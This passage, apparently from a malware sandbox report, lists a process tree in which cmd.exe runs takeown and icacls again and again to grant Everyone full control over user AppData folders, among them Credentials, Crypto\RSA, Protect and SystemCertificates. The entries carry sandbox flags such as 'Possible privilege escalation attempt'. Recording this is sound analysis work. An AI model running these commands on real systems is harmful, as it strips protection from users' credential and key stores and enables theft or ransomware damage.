  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\AssetCache && icacls C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\AssetCache /grant everyone:(f)
  2⤵
  PID:2792
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\AssetCache
    3⤵
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\AssetCache\UNJKZEGJ && icacls C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\AssetCache\UNJKZEGJ /grant everyone:(f)
  2⤵
  PID:1516
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\AssetCache\UNJKZEGJ
    3⤵
    PID:1800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\NativeCache && icacls C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\NativeCache /grant everyone:(f)
  2⤵
  PID:2684
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Adobe\Flash Player\NativeCache
    3⤵
    - Modifies file permissions
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Identities && icacls C:\Users\Admin\AppData\Roaming\Identities /grant everyone:(f)
  2⤵
  PID:1096
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Identities
    3⤵
    PID:1860
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Identities /grant everyone:(f)
    3⤵
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Identities\{DC1210CF-B63A-446E-AF3A-F1B1B9A04067} && icacls C:\Users\Admin\AppData\Roaming\Identities\{DC1210CF-B63A-446E-AF3A-F1B1B9A04067} /grant everyone:(f)
  2⤵
  PID:952
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Identities\{DC1210CF-B63A-446E-AF3A-F1B1B9A04067}
    3⤵
    PID:1136
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Identities\{DC1210CF-B63A-446E-AF3A-F1B1B9A04067} /grant everyone:(f)
    3⤵
    PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Macromedia && icacls C:\Users\Admin\AppData\Roaming\Macromedia /grant everyone:(f)
  2⤵
  PID:2548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Macromedia
    3⤵
    PID:1540
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Macromedia /grant everyone:(f)
    3⤵
    PID:2536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player && icacls C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player /grant everyone:(f)
  2⤵
  PID:1336
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player
    3⤵
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\#SharedObjects && icacls C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\#SharedObjects /grant everyone:(f)
  2⤵
  PID:1344
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\#SharedObjects
    3⤵
    PID:1924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\4G6TSLRD && icacls C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\4G6TSLRD /grant everyone:(f)
  2⤵
  PID:1296
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\#SharedObjects\4G6TSLRD
    3⤵
    PID:1996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com && icacls C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com /grant everyone:(f)
  2⤵
  PID:1548
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com
    3⤵
    PID:908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support && icacls C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support /grant everyone:(f)
  2⤵
  PID:836
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support
    3⤵
    PID:1680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer && icacls C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer /grant everyone:(f)
  2⤵
  PID:1844
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer
    3⤵
    PID:692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys && icacls C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys /grant everyone:(f)
  2⤵
  PID:1508
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys
    3⤵
    PID:1048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Media Center Programs && icacls C:\Users\Admin\AppData\Roaming\Media Center Programs /grant everyone:(f)
  2⤵
  PID:1648
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Media Center Programs
    3⤵
    PID:2248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft && icacls C:\Users\Admin\AppData\Roaming\Microsoft /grant everyone:(f)
  2⤵
  PID:764
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft
    3⤵
    PID:2340
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft /grant everyone:(f)
    3⤵
    PID:1700
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\AddIns && icacls C:\Users\Admin\AppData\Roaming\Microsoft\AddIns /grant everyone:(f)
  2⤵
  PID:1820
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\AddIns
    3⤵
    PID:2364
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\AddIns /grant everyone:(f)
    3⤵
    PID:1976
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Credentials && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Credentials /grant everyone:(f)
  2⤵
  PID:2576
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Credentials
    3⤵
    PID:2592
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Credentials /grant everyone:(f)
    3⤵
    PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Crypto && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Crypto /grant everyone:(f)
  2⤵
  PID:1724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Crypto
    3⤵
    PID:2072
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Crypto /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:2356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA /grant everyone:(f)
  2⤵
  PID:1692
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA
    3⤵
    PID:2988
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA /grant everyone:(f)
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3434294380-2554721341-1919518612-1000 && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3434294380-2554721341-1919518612-1000 /grant everyone:(f)
  2⤵
  PID:2304
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3434294380-2554721341-1919518612-1000
    3⤵
    PID:316
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3434294380-2554721341-1919518612-1000 /grant everyone:(f)
    3⤵
    PID:3064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks /grant everyone:(f)
  2⤵
  PID:1676
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks
    3⤵
    PID:324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033 && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033 /grant everyone:(f)
  2⤵
  PID:3012
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033
    3⤵
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14 && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14 /grant everyone:(f)
  2⤵
  PID:2848
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Document Building Blocks\1033\14
    3⤵
    PID:1220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Excel && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Excel /grant everyone:(f)
  2⤵
  PID:3040
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Excel
    3⤵
    PID:2980
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Excel /grant everyone:(f)
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer /grant everyone:(f)
  2⤵
  PID:2076
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer
    3⤵
    PID:2688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch /grant everyone:(f)
  2⤵
  PID:2580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned /grant everyone:(f)
  2⤵
  PID:2604
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned
    3⤵
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts /grant everyone:(f)
  2⤵
  PID:2644
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts
    3⤵
    PID:2736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar /grant everyone:(f)
  2⤵
  PID:2600
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar
    3⤵
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData /grant everyone:(f)
  2⤵
  PID:2588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData
    3⤵
    PID:2824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low /grant everyone:(f)
  2⤵
  PID:2572
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\UserData\Low
    3⤵
    PID:3056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Office && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Office /grant everyone:(f)
  2⤵
  PID:2920
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Office
    3⤵
    PID:1384
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Office /grant everyone:(f)
    3⤵
    PID:2376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent /grant everyone:(f)
  2⤵
  PID:1028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent
    3⤵
    PID:1064
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent /grant everyone:(f)
    3⤵
    PID:2960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Proof && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Proof /grant everyone:(f)
  2⤵
  PID:2528
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Proof
    3⤵
    PID:1604
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Proof /grant everyone:(f)
    3⤵
    PID:2184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Protect && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Protect /grant everyone:(f)
  2⤵
  PID:1980
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Protect
    3⤵
    PID:2124
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Protect /grant everyone:(f)
    3⤵
    PID:1468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-3434294380-2554721341-1919518612-1000 && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-3434294380-2554721341-1919518612-1000 /grant everyone:(f)
  2⤵
  PID:2360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-3434294380-2554721341-1919518612-1000
    3⤵
    PID:1148
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-3434294380-2554721341-1919518612-1000 /grant everyone:(f)
    3⤵
    PID:2088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates && icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates /grant everyone:(f)
  2⤵
  PID:300
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates
    3⤵
    - Modifies file permissions
    PID:2136
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates /grant everyone:(f)
    3⤵
    PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My && icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My /grant everyone:(f)
  2⤵
  PID:1560
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My
    3⤵
    PID:2428
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My /grant everyone:(f)
    3⤵
    PID:1720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates && icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates /grant everyone:(f)
  2⤵
  PID:1796
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates
    3⤵
    PID:1944
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates /grant everyone:(f)
    3⤵
    PID:1856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs && icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs /grant everyone:(f)
  2⤵
  PID:1836
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs
    3⤵
    PID:2020
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CRLs /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs && icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs /grant everyone:(f)
  2⤵
  PID:2668
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs
    3⤵
    PID:1748
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\SystemCertificates\My\CTLs /grant everyone:(f)
    3⤵
    PID:2000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Templates && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Templates /grant everyone:(f)
  2⤵
  PID:284
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Templates
    3⤵
    PID:1520
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Templates /grant everyone:(f)
    3⤵
    PID:900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\UProof && icacls C:\Users\Admin\AppData\Roaming\Microsoft\UProof /grant everyone:(f)
  2⤵
  PID:2132
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\UProof
    3⤵
    PID:1348
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\UProof /grant everyone:(f)
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows /grant everyone:(f)
  2⤵
  PID:3016
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows
    3⤵
    PID:2188
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows /grant everyone:(f)
    3⤵
    PID:2532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies /grant everyone:(f)
  2⤵
  PID:2456
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies
    3⤵
    PID:2292
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies /grant everyone:(f)
    3⤵
    PID:2180
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\Low && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\Low /grant everyone:(f)
  2⤵
  PID:1304
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\Low
    3⤵
    PID:2320
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\Low /grant everyone:(f)
    3⤵
    PID:2932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\DNTException && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\DNTException /grant everyone:(f)
  2⤵
  PID:1660
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\DNTException
    3⤵
    PID:340
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\DNTException /grant everyone:(f)
    3⤵
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\DNTException\Low && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\DNTException\Low /grant everyone:(f)
  2⤵
  PID:1672
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\DNTException\Low
    3⤵
    PID:2772
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\DNTException\Low /grant everyone:(f)
    3⤵
    PID:2396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatCache && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatCache /grant everyone:(f)
  2⤵
  PID:1744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatCache
    3⤵
    PID:796
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatCache /grant everyone:(f)
    3⤵
    PID:316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatCache\Low && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatCache\Low /grant everyone:(f)
  2⤵
  PID:3044
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatCache\Low
    3⤵
    PID:1788
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatCache\Low /grant everyone:(f)
    3⤵
    PID:324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatUACache && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatUACache /grant everyone:(f)
  2⤵
  PID:1676
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatUACache
    3⤵
    - Modifies file permissions
    PID:2764
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatUACache /grant everyone:(f)
    3⤵
    PID:3012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatUACache\Low && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatUACache\Low /grant everyone:(f)
  2⤵
  PID:2784
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatUACache\Low
    3⤵
    PID:2264
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IECompatUACache\Low /grant everyone:(f)
    3⤵
    PID:2176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IEDownloadHistory && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IEDownloadHistory /grant everyone:(f)
  2⤵
  PID:2728
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IEDownloadHistory
    3⤵
    PID:2972
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IEDownloadHistory /grant everyone:(f)
    3⤵
    PID:1772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IETldCache && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IETldCache /grant everyone:(f)
  2⤵
  PID:2864
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IETldCache
    3⤵
    - Possible privilege escalation attempt
    PID:2596
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IETldCache /grant everyone:(f)
    3⤵
    PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IETldCache\Low && icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IETldCache\Low /grant everyone:(f)
  2⤵
  PID:2104
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IETldCache\Low
    3⤵
    PID:112
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\IETldCache\Low /grant everyone:(f)
    3⤵
    - Modifies file permissions
    PID:2604
- C:\Windows\System32\cmd.exe
